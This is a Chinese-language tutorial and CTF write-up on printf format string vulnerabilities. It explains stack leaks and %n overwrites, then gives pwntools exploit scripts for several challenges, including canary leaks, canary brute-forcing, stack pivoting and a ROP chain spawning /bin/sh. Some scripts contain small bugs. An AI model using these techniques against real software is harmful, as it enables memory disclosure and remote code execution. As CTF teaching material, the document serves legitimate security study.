格式化字符漏洞
格式转换
格式化字符串是由普通字符(包括%)和转换规则构成的字符序列。普通字符被原封不动地复制到输出流中。转换规则根据与实参对应的转换指示符对其进行转换,然后将结果写入到输出流中。
转换规则由可选的部分和必选部分组成。其中只有转换指示符type是必选部分,用来表示转换类型。
用 printf() 为例,它的第一个参数就是格式化字符串 :“Color %s,Number %d,Float %4.2f”
然后 printf 函数会根据这个格式化字符串来解析对应的其他参数
%d - 十进制 - 输出十进制整数
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数
%c - 字符 - 输出字符
%p - 指针 - 指针地址
%n - 到目前为止所写的字符数
%hhn - 写1字节
%hn - 写2字节
%ln - 写4个字节
%lln - 写8字节
基本原理
在X86结构下,格式化字符串的参数是通过栈传递的。
#include<stdio.h>
void main()
{
printf("%s %d %s","hello World",233,"\n");
}
.....................
0x565561f6 <main+41> lea edx, [eax - 0x1fce]
0x565561fc <main+47> push edx
0x565561fd <main+48> lea edx, [eax - 0x1fc2]
0x56556203 <main+54> push edx
0x56556204 <main+55> mov ebx, eax
► 0x56556206 <main+57> call printf@plt <printf@plt>
format: 0x56557016 ◂— '%s %d %s'
vararg: 0x5655700a ◂— 'hello World'
0x5655620b <main+62> add esp, 0x10
0x5655620e <main+65> nop
0x5655620f <main+66> lea esp, [ebp - 8]
0x56556212 <main+69> pop ecx
0x56556213 <main+70> pop ebx
..................
00:0000│ esp 0xffffcf40 —▸ 0x56557016 ◂— '%s %d %s'
01:0004│ 0xffffcf44 —▸ 0x5655700a ◂— 'hello World'
02:0008│ 0xffffcf48 ◂— 0xe9
03:000c│ 0xffffcf4c —▸ 0x56557008 ◂— 0x6568000a /* '\n' */
04:0010│ 0xffffcf50 —▸ 0xffffcf70 ◂— 0x1
05:0014│ 0xffffcf54 ◂— 0x0
06:0018│ ebp 0xffffcf58 ◂— 0x0
07:001c│ 0xffffcf5c —▸ 0xf7ddfed5 (__libc_start_main+245) ◂— add esp, 0x10
根据cdecl的调用约定,在进入printf函数之前,程序将参数从右到左依次压栈。进入printf()之后,函数首先获取第一个参数,一次读取一个字符。如果字符不是“%”,那么字符被直接复制到输出。否则,读取下一个非空字符,获取相应的参数并解析输出。
接下来我们修改上面的程序,给格式化字符串加上“%x %x %x %3$s",使它出现格式化字符串漏洞。
0x565561f6 <main+41> lea edx, [eax - 0x1fce]
0x565561fc <main+47> push edx
0x565561fd <main+48> lea edx, [eax - 0x1fc2]
0x56556203 <main+54> push edx
0x56556204 <main+55> mov ebx, eax
► 0x56556206 <main+57> call printf@plt <printf@plt>
format: 0x56557016 ◂— '%x %x %x %3$s'
vararg: 0x5655700a ◂— 'hello World'
0x5655620b <main+62> add esp, 0x10
0x5655620e <main+65> nop
0x5655620f <main+66> lea esp, [ebp - 8]
0x56556212 <main+69> pop ecx
0x56556213 <main+70> pop ebx
─────────────────────────────────────────────
1 #include<stdio.h>
2 void main()
3 {
► 4 printf("%x %x %x %3$s","hello World",233,"\n");
5
6 }
──────────────────────────────────────────────────
00:0000│ esp 0xffffcf40 —▸ 0x56557016 ◂— '%x %x %x %3$s'
01:0004│ 0xffffcf44 —▸ 0x5655700a ◂— 'hello World'
02:0008│ 0xffffcf48 ◂— 0xe9
03:000c│ 0xffffcf4c —▸ 0x56557008 ◂— 0x6568000a /* '\n' */
04:0010│ 0xffffcf50 —▸ 0xffffcf70 ◂— 0x1
05:0014│ 0xffffcf54 ◂— 0x0
06:0018│ ebp 0xffffcf58 ◂— 0x0
07:001c│ 0xffffcf5c —▸ 0xf7ddfed5 (__libc_start_main+245) ◂— add esp, 0x10
从反汇编代码来看没有任何区别。所以我们重点关注参数传递。程序打印出来了四个值,参数只有三个。
如果我们将程序里面的格式化字符省略,转为由外部输入。
1 #include<stdio.h>
2 void main()
3 {
char s[100];
scanf(s);
4 printf(s);
5
6 }
如果大家都正常输入字符,程序不会有问题,但如果我们在s里面输入一些转换指示符。那么printf()会把它当成格式化字符串解析,漏洞由此发生。
格式化字符串漏洞的发生条件就是格式化字符串要求的参数和实际上提供的参数不匹配。
漏洞利用原理
对于格式化字符串漏洞的利用主要有**:使程序崩溃,栈数据泄露,任意地址内存泄露,栈数据覆盖,任意地址内存覆盖。**
程序崩溃
这种攻击方法最简单,只需要输入一串 %s 就可以
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
对于每一个 %s,printf() 都会从栈上取一个数字,把该数字视为地址,然后打印出该地址指向的内存内容,由于不可能获取的每一个数字都是地址,所以数字对应的内容可能不存在,或者这个地址是被保护的,那么便会使程序崩溃
在 Linux 中,存取无效的指针会引起进程收到 SIGSEGV (SIGSEGV分为SIG+SEGV。SIG是信号名的通用前缀;SEGV是****segmentation **violation(段违例)的缩写。)**信号,从而使程序非正常终止并产生核心转储(产生错误报告)。
泄露内存
通过%x将栈后面的参数给泄露出来。
%x会在栈上找临近的一个参数,根据 格式化字符串 给打印出来,这样就把他后面一个栈上的值给输出出来了。
但是上面的都是获取临近的内容进行输出,我们不可能只要这几个东西,可以通过 %n$x 来获取被视作第 n+1 个参数的值(格式化字符串是第一个参数).
另外也可以通过 %s 来获取栈变量对应的字符串。
小技巧:
利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别
利用 %s 来获取变量所对应地址的内容,只不过有零截断
利用 %nx 来 获 取 指 定 参 数 的 值 , 利 用 x 来获取指定参数的值,利用 %nx来获取指定参数的值,利用s 来获取指定参数对应地址的内容
泄露任意地址的内存
攻击者使用类似于“%s”的格式规范就可以泄露出参数(指针指向内部存的数据),程序会将它作为一个ASCII字符串处理,直到遇到一个空字符。所以,如果攻击者能够操纵这个参数的值,那就可以泄露任意地址的内容。
之前的方法还只是泄露栈上变量值,没法泄露变量的地址,但是如果我们知道格式化字符串在输出函数调用时是第几个参数,这里假设格式化字符串相对函数调用是第 k 个参数,那我们就可以通过如下方法来获取指定地址 addr 的内容 addr%k$x
下面就是确定格式化字符串是第几个参数了,一般可以通过 [tag]%p%p%p%p%p%p%p%p%p 来实现,如果输出的内容跟我们前面的 tag 重复了,那就说明我们找到了,但是不排除栈上有些其他变量也是这个值,所以可以用一些其他的字符进行再次尝试
当然这也可以用 AAAA%4$p 来达到同样的效果,通过这种方法,如果我们传入的是 一个函数的 GOT 地址,那么他就可以给我们打印出来函数在内存中的真实地址
使用 objdump -R elf 查看一下 got 表
%s 是把地址指向的内存内容给打印出来,可以把 函数的地址给打印出来。
覆盖栈内存
%n,不输出字符,但是把已经成功输入的字符个数写入对应的整型指针参数所指的变量,只要变量对应的地址可写,就可以利用格式化字符串来改变其对应的值。
一般来说,利用分为以下的步骤:
- 确定覆盖地址
- 确定相对偏移
- 进行覆盖
#include <stdio.h>
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("a= %p b= %p c= %p\n",&a ,&b, &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}
关于覆盖偏移的话可以通过测试得出来:
AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
若格式化字符是第6个参数。
那接下来,通过 %n 来进行覆盖,c_addr+%12d+%6$n
c_addr 再加上 12 之后才能凑够 16,这样就可以把 c 改成 16。
%n可以将对应参数地址存储的值给改写。
道理应该差不多明白了,接下来实战几个题吧。
实战
题目来源1:[HNCTF 2022 Week1]fmtstrre
64位/格式化字符串的偏移为6
这段代码是一个 C 语言程序,它首先将标准输入输出和错误缓冲区禁用,然后打印欢迎信息和提示符号。接着它会尝试以只读方式打开名为 “flag” 的文件,并将其内容读入到一个名为 name 的变量中。然后它提示用户输入一个格式化字符串,使用 read 函数从标准输入读取最多 256 字节的数据并存储在 buf 数组中。最后,它使用 printf 函数将 buf 数组中的内容输出到标准输出。
这段代码中存在一个潜在的漏洞:它没有对用户输入的格式化字符串进行任何限制或过滤,因此可能会受到格式化字符串攻击。攻击者可以通过构造特定的格式化字符串来修改程序内部的变量值、泄露内存中的敏感信息,甚至执行任意代码。如果程序运行在特权模式下,这种攻击可能导致系统被完全控制。
所以我们可以本地存放一个flag文件,用于我们本地的GDB调试。
现在我们大概了解这题是格式化字符串泄露内存。
我们需要泄露的内存信息距离RBP 38
所以我们需要构建的exp如下
from pwn import *
debug = 0
if (debug):
p = process('ezfmt')
else:
p = remote('')
p.recv()
p.sendline(b'%38$s')
fmt = p.recv()
print(fmt)
本地没有问题了。
打一下远程
题目来源2:pwn10
暂时看不出什么东西来,拉进IDA去看一下源码。
一眼看到printf()处有格式化字符串漏洞,我们应该是改写栈数据,写进我们的信息,从而绕过if判断,
格式化字符串偏移量为7
但是我们还是要一个num地址,它是未初始化的变量,应该存在bss段里。
找到地址。
from pwn import *
context.log_level = 'debug'
debug = 0
if(debug):
p = process('fmt')
else:
p = remote('pwn.challenge.ctf.show',28112)
num = 0x0804A030
payload = p32(num) + b'a'*12 + b'%7$n'
p.sendline(payload)
o = p.recv()
print(o)
p.interactive()
成功打通。
收获:因为源码里面有个system函数调用,所以我们需要进行交互才能得到flag
题目来源3:pwn04
考点:canary、格式化字符串漏洞
栈上有canary了,我不能直接向栈上写东西,需要去泄露canary,在覆盖canary。
所以我们先要了解什么是canary。
Canary保护机制
canary的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。
在函数开始时就随机产生一个值,将这个值CANARY放到栈上紧挨ebp的上一个位置,当攻击者想通过缓冲区溢出覆盖ebp或者ebp下方的返回地址时,一定会覆盖掉CANARY的值;当程序结束时,程序会检查CANARY这个值和之前的是否一致,如果不一致,则不会往下运行,从而避免了缓冲区溢出攻击。
防止攻击手段:所有单纯的栈溢出
Canary绕过破解方式一般有两种方式
1.爆破canary(x86与x64爆破范围不同
x64
canary = '\x00'
for k in range(7):
for i in range(256):
print("the " + str(k) + ": " + chr(i))
p.send(b'a'*104 + canary + bytes([i]))
a = p.recvuntil(b"welcome\n")
# 下面是伪代码
if (recv没报错):
canary += bytes(b)
break
x86
canary = '\x00'
for k in range(3):
for i in range(256):
print "the " + str(k) + ": " + chr(i)
p.send('a'*100 + canary + chr(i))
a = p.recvuntil("welcome\n")
print a
if "sucess" in a:
canary += chr(i)
print "canary: " + canary
break
2.如果存在字符串格式化漏洞可以输出泄露canary的地址并利用栈溢出覆盖canary的地址返回到system地址从而达到绕过
这里有详细的x86和x64的canary出现标志以及解决的exp
格式化字符串的偏移为6
执行程序,发现两处格式化字符串漏洞,大体了解一下,就拖进IDA里看一下源码
发现system函数。
这里我大概了解一下,v3是随机读取的一个数,应该就是canary了,然后进入for循环,进行两次,可以利用第一次for循环的格式化字符串漏洞泄露canary(v3),然后利用第二次去劫持程序的控制流。这就是大概思路。为了了解canary,先不往下进行了。
先调试一下程序,看一下canary是什么样子的。
canray在ebp偏移的0xc处,我们将断点下在0x08048634处,看一下存在eax中的canary
n一下
存在eax的值为 0xae937b00,这就是如果我们要覆盖canary的值,但是因为是每次读取是随机的,所以已经过时了。没关系,我们已经了解了啥是canary,所以我们接下来的路也就好走了。
覆盖与泄露canary?
利用格式化字符串漏洞泄露,buf距离ebp为0x70,canary距离ebp为0xc,我们需要(0x70-0xc)去覆盖canary,那我们需要多少去泄露canary呢,因为x86字长是4字节,所以canary距离ebp的偏移的为100/4 = 25还需要加上6才是canary距离格式化字符串的偏移。
所以用
%31$x #去泄露canary
所以exp为
from pwn import *
context.log_level = 'debug'
debug = 1
if(debug):
p = remote('pwn.challenge.ctf.show',28110)
else:
p = process('ex2')
sh = 0x0804859B #这里应该是调用system函数栈上也有canary,所以不能用0x080485AF
p.recv()
payload1 = b'%31$x'
p.sendline(payload1)
canary = int(p.recv(8),16)
#print(canary)
payload2 = b'a'*100 + p32(canary) + b'a'*0xc + p32(sh)
p.sendline(payload2)
p.interactive()
赛题复现keep on
考点:栈迁移、格式化字符串漏洞。
执行程序后,发现输入点一处有格式化字符串漏洞。
拉进IDA看一下。
在vuln中开辟了0X50的数据缓冲区,输入点一只能0X48字节,在第二个printf函数中,明显有格式化字符串漏洞,而第一个输入点正是我们可以利用这个漏洞的地方。
在第二个输入点上,我们只能输入0X60的数据,毫无疑问,溢出的字节太少,不够我们去构建一个payload的长度,所以我们需要栈转移,我之前wp有些过。
主要的思想就是劫持栈,以及去构造一个伪装的栈
上面两个gadget很有必要。
当执行s上述令时:
这里的target就是我们想要转移到地方。在这个题中,我们要转移到在s的起始地址,这样我们需要一个我们泄露一个我们能够计算s起始地址的地址,在这里可以去泄露rbp的地址,因为可以很容易计算我们泄露的地址与输入变量s之间的距离。(格式化字符串距rbp偏移为0x10,s与rbp之间的距离为0x50 + 0x8)知道了这个s的地址,我们劫持栈返回执行到这里即可。
from pwn import *
context.log_level = 'debug'
debug = 0
if(debug):
p = remote('',)
else:
p = processs('hdctf')
f_num = b'%16$p'
p.recv()
p.sendline(f_num)
p.recvuntil('0x')
rbp = int(p.recv(12),16)
s = rbp - 0x60 - 0x8
接下来,我们需要我们如何去构造一个栈去运行执行达到我们想要的目的。
很明显,在程序中我们能够发现system plt表的内容。
发现了一个疑似可以获取flag的东西。
接下来利用里面的gadget去构建我们payload。
payload = p64(pop_rdi_ret) + p64(s+0x20) + p64(sys_plt) + p64(flag)
payload += b'a'*(50-len(payload) + p64(s) + p64(leave_ret)
这里之所以为s+0x20的原因是我们放的flag的地址距离
from pwn import *
context.log_level = 'debug'
elf = ELF('hdctf')
debug = 1
if(debug):
p = remote('node4.anna.nssctf.cn',28575)
else:
p = processs('hdctf')
f_num = b'%16$p'
p.recv()
p.sendline(f_num)
p.recvuntil('0x')
rbp = int(p.recv(12),16)
s = rbp - 0x60 - 0x8
leave_ret = 0x00000000004007f2
pop_rdi_ret = 0x00000000004008d3
sys_plt = elf.plt['system']
flag = 0x0400936
payload = (p64(pop_rdi_ret) + p64(s+0x20) + p64(sys_plt) + p64(flag)).ljust(0x50,b'a') + p64(s) + p64(leave_ret)
#payload = p64(pop_rdi_ret)
#payload += p64(s+0x20)
#payload += p64(sys_plt)
#payload += p64(flag)
#payload += b'a' * (0x50 - len(payload))
#payload += p64(s)
#payload += p64(leave_ret)
p.sendlineafter('keep on !',payload)
p.interactive()
打不通,将p64(flag)换成b’/bin/sh\x00’即可
即以下exp
from pwn import *
context.log_level = 'debug'
elf = ELF('hdctf')
debug = 1
if(debug):
p = remote('node4.anna.nssctf.cn',28575)
else:
p = processs('hdctf')
f_num = b'%16$p'
p.recv()
p.sendline(f_num)
p.recvuntil('0x')
rbp = int(p.recv(12),16)
s = rbp - 0x60 - 0x8
leave_ret = 0x00000000004007f2
pop_rdi_ret = 0x00000000004008d3
sys_plt = elf.plt['system']
flag = 0x0400936
#payload = (p64(pop_rdi_ret) + p64(s+0x20) + p64(sys_plt) + b'/bin/sh\x00').ljust(0x50,b'a') + p64(s) + p64(leave_ret)
#payload = b'a'*0x50 + p64(s) + p64(leave_ret) + p64(pop_rdi_ret) + p64(s+0x20) + p64(sys_plt) + p64(flag) 不是上述转换的形式。
payload = p64(pop_rdi_ret)
payload += p64(s+0x20)
payload += p64(sys_plt)
payload += b'/bin/sh\x00'
payload += b'a' * (0x50 - len(payload))
payload += p64(s)
payload += p64(leave_ret)
p.sendlineafter('keep on !',payload)
p.interactive()